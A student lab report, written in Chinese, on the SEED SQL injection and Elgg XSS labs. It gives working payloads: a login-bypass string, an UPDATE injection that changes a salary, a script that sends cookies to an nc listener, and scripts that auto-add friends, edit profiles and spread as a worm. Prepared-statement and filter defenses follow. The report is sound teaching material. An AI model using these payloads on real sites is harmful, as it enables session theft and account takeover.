20252817 2025-2026-2 《网络攻防实践》实践十报告

20252817 2025-2026-2 《网络攻防实践》实践十报告

1.实践内容

本次实践主题是 Web 应用程序安全攻防,主要做 SEED 平台中的 SQL 注入和 XSS 跨站脚本实验。实验环境使用 SEEDUbuntu-16.04-32bit 虚拟机,主机名已改为本人姓名拼音 chuhao

本次实验分成两部分:

  1. SQL 注入攻击与防御:熟悉 Users 数据库和 credential 表,利用 SELECT 语句注入绕过登录,利用 UPDATE 语句注入修改用户信息,最后通过预编译语句进行修复。
  2. XSS 跨站脚本攻击与防御:在 Elgg 中测试脚本弹窗、显示 Cookie、发送 Cookie、自动加好友、修改用户资料、XSS 蠕虫传播,并通过启用过滤插件进行防御。

这两个实验的共同点是:Web 程序直接信任用户输入,导致用户输入被当成代码或 SQL 语句执行。防御思路也比较明确,SQL 注入要避免字符串拼接 SQL,XSS 要对用户输入做过滤和转义。

2.实践过程

2.1 实验环境准备

我使用的虚拟机是:

SEEDUbuntu-16.04-32bit

启动虚拟机后,我把主机名改成 chuhao

sudo hostname chuhao
hostname

image

本机实验中 SEED 虚拟机在 VMnet8 下的 IP 为:

192.168.200.68

image

SEED 内部 /etc/hosts 已经配置了:

127.0.0.1 www.SeedLabSQLInjection.com
127.0.0.1 www.xsslabelgg.com

本机确认到 Web 目录如下:

ls /var/www
ls /var/www/XSS

image

2.2 SEED SQL 注入攻击与防御实验

2.2.1 熟悉数据库和 SQL 查询

先登录 MySQL:

mysql -u root -p

密码为:

seedubuntu

image

查看数据库:

show databases;

image

进入 Users 数据库,查看表结构:

use Users;
show tables;
describe credential;

image

查询 credential 表中的主要信息:

select ID,Name,EID,Salary,PhoneNumber,Email,Nickname from credential;

image

我看到表中有 Alice、Boby、Ryan、Samy、Ted 和 Admin 等用户。其中 Admin 的工资原始值为 400000

也可以按用户名查询单个用户,例如 Boby:

select * from credential where Name='Boby';

image

2.2.2 SELECT 语句 SQL 注入绕过登录

打开 SQL 注入实验网站:

http://www.SeedLabSQLInjection.com

image

为了看清楚漏洞原因,我先在终端里查看登录页面对应的后端代码。打开一个终端,输入:

cd /var/www/SQLInjection
grep -n "SELECT\|WHERE name" unsafe_home.php

image

这里重点看 unsafe_home.php 里下面这一句:

$sql = "SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email,nickname,Password
FROM credential WHERE name= '$input_uname' and Password='$hashed_pwd'";

这句代码的意思是:程序把网页里输入的用户名和密码直接拼进 SQL 语句里。正常登录时,如果我输入用户名 Admin,密码 123,后端大概会变成:

WHERE name='Admin' and Password='123加密后的结果'

这样肯定登录不了,因为密码不对。SQL 注入就是利用它“直接拼接输入”的问题,把后面的密码判断去掉。

回到浏览器登录页面,在用户名输入框里填:

Admin'#

密码随便输入,例如:

123

image

这样 SQL 中 # 后面的密码判断会被注释掉,实际效果相当于只判断用户名是否为 Admin。登录后可以看到 Admin 的信息,说明 SELECT 注入成功。

2.2.3 UPDATE 语句 SQL 注入修改 Admin 工资

接着测试 UPDATE 语句注入。先用普通员工 Boby 登录:

用户名:Boby
密码:seedboby

image

登录后进入编辑个人资料页面,正常情况下员工只能改自己的昵称、邮箱、地址和电话等字段。

image

查看后端代码:

cd /var/www/SQLInjection
grep -n "UPDATE" unsafe_edit_backend.php

可以看到后端也是直接拼接用户输入:

$sql = "UPDATE credential SET nickname='$input_nickname',email='$input_email',address='$input_address',PhoneNumber='$input_phonenumber' where ID=$id;";

image

我在 NickName 输入框中填入:

',Salary='20252817' where Name='Admin'#

提交后再回到数据库中查询:

use Users;
select ID,Name,Salary,NickName,Email,PhoneNumber from credential where Name='Admin' or Name='Boby';

image

结果显示 Admin 的 Salary 被改成了:

20252817

这说明 UPDATE 注入成功。这里的本质是利用 NickName 字段提前闭合字符串,然后插入新的赋值语句和 WHERE 条件,最后用 # 注释掉后面的原始条件。

2.2.4 SQL 注入防御

SQL 注入的防御重点是不要把用户输入直接拼接进 SQL 语句中。SEED 实验目录中已经提供了安全版本:

safe_home.php
safe_edit_backend.php

我先备份原始不安全文件,备份文件名中包含学号:

cd /var/www/SQLInjection
sudo cp unsafe_home.php 20252817_unsafe_home_original.php
sudo cp unsafe_edit_backend.php 20252817_unsafe_edit_backend_original.php

然后用安全版本替换:

sudo cp safe_home.php unsafe_home.php
sudo cp safe_edit_backend.php unsafe_edit_backend.php

image

检查安全版本中的关键代码:

grep -n "prepare\|bind_param" unsafe_home.php unsafe_edit_backend.php

image

可以看到登录处改成了预编译语句:

$sql = $conn->prepare("SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email,nickname,Password From credential WHERE name= ? and Password=?;");
$sql->bind_param("ss", $input_uname, $hashed_pwd);

UPDATE 处也对四个可编辑字段使用了参数绑定:

$sql = $conn->prepare("UPDATE credential SET nickname=?,email=?,address=?,PhoneNumber=? where ID=$id;");
$sql->bind_param("ssss",$input_nickname,$input_email,$input_address,$input_phonenumber);

这段安全版代码已经阻止把 NickName 等输入拼成 SQL 片段,但 ID=$id 仍是字符串插值。当前实验中的 $id 来自服务端登录会话,风险小于直接接收表单 ID;为了减少未来代码改动引入风险,仍建议把 ID 一并绑定,并在服务端确认“当前登录用户只能修改自己的记录”:

$sql = $conn->prepare(
    "UPDATE credential SET nickname=?, email=?, address=?, PhoneNumber=? WHERE ID=?"
);
$sql->bind_param(
    "ssssi",
    $input_nickname,
    $input_email,
    $input_address,
    $input_phonenumber,
    $id
);

再次使用:

Admin'#

image

尝试绕过登录,发现不能进入 Admin 页面,仍然停留在登录页面,说明 SELECT 注入漏洞已经修复。

2.3 SEED XSS 跨站脚本攻击实验

XSS 实验使用 Elgg 网站:

http://www.xsslabelgg.com

本机 Elgg 用户确认如下:

用户 用户名 GUID
Alice alice 44
Boby boby 45
Charlie charlie 46
Samy samy 47
Admin admin 36

常用账号密码为:

用户名 密码
alice seedalice
boby seedboby
charlie seedcharlie
samy seedsamy
admin seedelgg

2.3.1 发布脚本显示警告框

在做 XSS 前,我先用管理员账号登录 Elgg,进入插件管理页面,把 HTMLawed 插件停用。这个插件会过滤 HTML 标签,如果不关闭,<script> 会被过滤掉,只显示成普通文字,不能弹窗。

然后用 Alice 登录(用户名:alice 密码:seedalice),进入 Edit profile,在 Brief description 中输入:

<script>alert("20252817");</script>

保存后返回主页,页面会弹出警告框:

image

把上一步中的脚本改成:

<script>alert(document.cookie);</script>

保存后再次访问 Alice 主页,页面会弹出当前浏览器的 Cookie 信息。

image

这个实验说明:如果网站允许用户保存脚本,那么其他用户访问该页面时,脚本会在受害者浏览器中执行。

在 SEED 终端中开启监听:

nc -l 5555 -v

image

然后在 Alice 的资料中写入:

<script>
document.write('<img src=http://127.0.0.1:5555?c=' + escape(document.cookie) + '>');
</script>

保存后,换 Boby 登录并访问 Alice 主页:

http://www.xsslabelgg.com/profile/alice

监听窗口中可以看到带 Cookie 的请求。

image

2.3.4 自动添加好友

这一部分的目标是:把脚本放在 Alice 的主页里,Boby 登录后只要访问 Alice 的主页,就会在不手动点击的情况下,把 Alice 加为好友。

这里先说明两个用户编号:

用户 guid
Alice 44
Boby 45

为了看清楚 Elgg 加好友的请求,我先用 Boby 正常登录,然后手工访问 Alice 主页:

http://www.xsslabelgg.com/profile/alice

在 Alice 页面点击 Add friend。同时按 F12 打开浏览器开发者工具,点击 Network 查看网络请求。加好友请求大致是:

image

其中:

参数 含义
friend=44 要添加的好友是 Alice
__elgg_ts Elgg 当前页面生成的时间参数
__elgg_token Elgg 当前页面生成的安全 token

接着退出 Boby,换 Alice 登录。进入 Alice 的个人资料编辑页面:

http://www.xsslabelgg.com/profile/alice/edit

About me 中,点 Edit HTML,再写入下面脚本:

<script type="text/javascript">
window.onload = function () {
    var Ajax = null;
    var ts = "&__elgg_ts=" + elgg.security.token.__elgg_ts;
    var token = "&__elgg_token=" + elgg.security.token.__elgg_token;
    var sendurl = "http://www.xsslabelgg.com/action/friends/add?friend=44" + ts + token;
    Ajax = new XMLHttpRequest();
    Ajax.open("GET", sendurl, true);
    Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
    Ajax.send();
}
</script>

这段代码里的 elgg.security.token.__elgg_tselgg.security.token.__elgg_token 会自动取当前登录用户页面上的 token。也就是说,Boby 访问 Alice 页面时,脚本会用 Boby 当前的登录状态发送加好友请求。

代码中不手工设置 Host 请求头。现代浏览器把 Host 视为受限制请求头,会根据 URL 自动生成,JavaScript 即使调用 setRequestHeader("Host", ...) 也不会按脚本任意修改。删去该行不影响同源实验请求,反而避免把旧实验示例中的无效写法当成攻击成立的必要条件。

保存 Alice 资料后,退出 Alice,再用 Boby 登录,然后访问 Alice 主页:

正常情况下,Boby 不需要手工点 Add friend,脚本会自动发送请求。最后进入 Boby 的好友页面:

http://www.xsslabelgg.com/friends/boby

如果能看到 Alice,说明自动添加好友成功。

image

2.3.5 修改受害者资料

这一部分目标是:当 Boby 访问 Alice 页面时,脚本自动用 Boby 当前会话去提交修改资料的请求。

在 Alice 的 About me 中写入:

<script type="text/javascript">
window.onload = function(){
    var userName = elgg.session.user.name;
    var guid = "&guid=" + elgg.session.user.guid;
    var ts = "&__elgg_ts=" + elgg.security.token.__elgg_ts;
    var token = "&__elgg_token=" + elgg.security.token.__elgg_token;
    var content = token + ts + "&name=" + userName +
    "&description=<p>This profile has been modified by 20252817.</p>" +
    "&accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2" +
    "&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2" +
    "&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2" +
    "&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2" +
    "&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
    var sendurl = "http://www.xsslabelgg.com/action/profile/edit";
    var aliceGuid = 44;
    if (elgg.session.user.guid != aliceGuid) {
        var Ajax = new XMLHttpRequest();
        Ajax.open("POST", sendurl, true);
        Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
        Ajax.send(content);
    }
}
</script>

然后用 Boby 登录并访问 Alice 主页,再查看 Boby 自己的资料,可以看到描述被改成了带 20252817 的内容。

访问主页前:
image

访问主页后:
image

2.3.6 编写 XSS 蠕虫

XSS 蠕虫比普通 XSS 多了一步:它不仅修改受害者资料,还把脚本本身写入受害者资料中。这样其他用户再访问受感染用户的主页时,脚本会继续传播。

在 Alice 的 About me 中写入:

<script id="worm" type="text/javascript">
window.onload = function(){
    var headerTag = "<script id='worm' type='text/javascript'>";
    var jsCode = document.getElementById("worm").innerHTML;
    var tailTag = "</" + "script>";
    var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);
    var userName = elgg.session.user.name;
    var guid = "&guid=" + elgg.session.user.guid;
    var ts = "&__elgg_ts=" + elgg.security.token.__elgg_ts;
    var token = "&__elgg_token=" + elgg.security.token.__elgg_token;
    var content = token + ts + "&name=" + userName +
    "&description=<p>20252817 XSS worm test " + wormCode + "</p>" +
    "&accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2" +
    "&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2" +
    "&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2" +
    "&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2" +
    "&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
    var sendurl = "http://www.xsslabelgg.com/action/profile/edit";
    var aliceGuid = 44;
    if (elgg.session.user.guid != aliceGuid) {
        var Ajax = new XMLHttpRequest();
        Ajax.open("POST", sendurl, true);
        Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
        Ajax.send(content);
    }
}
</script>

image

保存后,用 Boby 访问 Alice 页面,Boby 的个人简介会被修改,并且包含同样的脚本内容。再让 Samy 访问 Boby 页面时,也会继续触发。

Boby 访问 Alice 前:

image

Boby 访问 Alice 后:

image

Samy 访问 Boby 主页前:

image

Samy 访问 Boby 主页后:

image

2.3.7 XSS 防御

Elgg 中可以通过启用 HTML 过滤插件降低 XSS 风险。使用 admin 登录后台:

http://www.xsslabelgg.com/admin

找到插件 HTMLawed,将其启用。启用后,用户输入中的危险脚本会被过滤。

image

再次在 Alice 资料中写入:

<script>alert("20252817");</script>

image

保存后访问 Alice 主页,发现不再弹窗,说明 XSS 防御生效。

HTMLawed 的复测证明了本次 <script> 样例被过滤,但生产系统不能只依赖一个过滤插件。更完整的纵深防御包括:

防线 作用 局限或注意点
按输出上下文编码 HTML、属性、URL 和 JavaScript 数据 避免存储内容在输出时被解释成代码 不同上下文必须使用对应编码方法
使用经过维护的 HTML 白名单净化器 允许富文本时移除危险标签、属性和协议 需要及时更新,并防止解析器差异绕过
部署严格 CSP,优先 nonce/hash,禁止内联脚本 即使注入成功也限制脚本来源与执行 CSP 是补充防线,不能替代输出编码
Cookie 设置 HttpOnlySecure、合适的 SameSite 降低脚本直接读取会话 Cookie 和跨站滥用风险 HttpOnly 不能阻止 XSS 借当前会话发起同源操作
服务端鉴权、敏感操作二次确认 限制自动修改资料、加好友等业务影响 CSRF token 本身挡不住同源 XSS,因为脚本可能读取页面中的 token

把 SQL 注入和 XSS 放在一起看,可以整理成下面这个对照表:

漏洞 触发原因 实验现象 修复思路
SELECT 注入 登录语句拼接用户输入 不知道密码也能以 Admin 登录 使用预编译语句和参数绑定
UPDATE 注入 更新资料时未限制字段和条件 普通用户能影响 Admin 的工资字段 后端限制可修改字段,并参数化 SQL
存储型 XSS 用户输入被原样保存并输出到页面 访问资料页时执行脚本 过滤危险标签,输出时做转义
XSS 蠕虫 脚本借用当前登录状态继续修改资料 Boby、Samy 访问后继续传播 开启 HTML 过滤,限制脚本执行

这张表能看出两类漏洞的共同点:问题都出在“不可信输入被当成了代码或逻辑的一部分”。SQL 注入影响的是数据库语句,XSS 影响的是浏览器中的脚本执行。

3.学习中遇到的问题及解决

  • 问题1:执行 sudo service apache2 startsudo service mysql start 后终端没有明显输出。

  • 问题1解决方案:后来确认这是正常现象,服务启动成功时不一定会输出提示。可以用浏览器访问实验网站,或者用 service apache2 statusservice mysql status 查看状态。

  • 问题2:XSS 弹窗一开始没有执行,只是在页面上显示 alert("20252817");

  • 问题2解决方案:原因是没有写 <script> 标签,并且 Elgg 的 HTMLawed 插件会过滤脚本。后来先用管理员关闭 HTMLawed,再写入 <script>alert("20252817");</script>,弹窗成功出现。

  • 问题3:做 XSS 蠕虫验证时,把 SQL 注入实验里的 Ted 当成了 Elgg 用户。

  • 问题3解决方案:后来确认 Elgg 中没有 Ted,实际可用的普通用户是 alicebobycharliesamy。所以蠕虫传播验证改为 Boby 访问 Alice,Samy 再访问 Boby。

  • 问题4:SQL 注入修复后,原来的 Admin'# 不能再绕过登录。

  • 问题4解决方案:这是正常现象,说明安全版本中的 preparebind_param 生效了。修复前后分别截图,对比说明防御效果。

4.实践总结

这次实验把 SQL 注入和 XSS 的危害表现得比较直观。SQL 注入的问题在于后端把用户输入直接拼接进 SQL 语句,导致输入内容可以改变原本的查询或更新逻辑。通过 Admin'# 绕过登录,以及通过 NickName 字段修改 Admin 的 Salary,可以看到数据库操作被用户输入影响了。

XSS 的问题在于前端页面执行了用户保存的脚本。简单的弹窗只是现象,后面显示 Cookie、发送 Cookie、自动加好友、修改资料和蠕虫传播,说明 XSS 可以借用受害者当前登录状态执行操作。

防御上,SQL 注入主要使用预编译语句和参数绑定,避免用户输入成为 SQL 代码的一部分;XSS 则要对用户输入进行过滤和转义,避免脚本被浏览器执行。实际做实验时,我也体会到环境配置很重要,虚拟机、域名、IP、服务状态任何一个地方不对,后面的攻击步骤都会失败。

参考资料

  • 课程实验指导:实践十 Web 应用程序安全攻防
  • 《网络攻防实践》课程资料
posted @ 2026-06-01 22:55  ch_c  阅读(27)  评论(0)    收藏  举报